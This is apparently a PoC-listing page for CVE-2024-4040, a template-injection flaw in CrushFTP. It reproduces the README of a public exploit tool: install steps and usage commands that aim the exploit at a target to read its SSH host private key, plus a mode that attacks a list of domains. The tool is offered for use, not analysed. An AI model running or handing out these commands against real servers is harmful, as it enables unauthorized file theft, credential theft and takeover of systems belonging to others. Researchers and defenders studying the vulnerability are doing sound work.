CVE-2024-4040 PoC — Unauthenticated arbitrary file read and remote code execution in CrushFTP

Source

Associated Vulnerability

Description

A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.

Readme

# CVE-2024-4040
A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.

## INSTALLATION

git clone https://github.com/gotr00t0day/CVE-2024-4040.git

cd CVE-2024-4040

pip3 instrall -r requirements.txt  


## USAGE

```py
usage: CVE-2024-4040.py [-h] [-t TARGET] [-f FILE] [-d DOMAINS]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target to scan
  -f FILE, --file FILE  file to fetch
  -d DOMAINS, --domains DOMAINS
                        file containing list of domains

# MAKE SURE YOU USE THE <INCLUDE> TAG OR ANY OTHER TAG TO EXPLOIT THE TARGET, SOMETIMES YOU DONT NEED ANY TAGS.

# Exploit a target

python3 CVE-2024-4040.py -t http://TARGET:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"

# Exploit a list of targets

python3 CVE-2024-4040.py -d ~/list.txt -f %hostname%  

```

# ANALYSIS

Please read [ATTACKERKB ANALYSIS
](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis) for a better understanding on how to use this exploit.

     

File Snapshot

 [4.0K]  /data/pocs/737bfa3566e35ac473d3cd6f0267cb1c0186439e
├── [3.5K]  CVE-2024-4040.py
├── [1.3K]  README.md
└── [   9]  requirements.txt

0 directories, 3 files

Remarks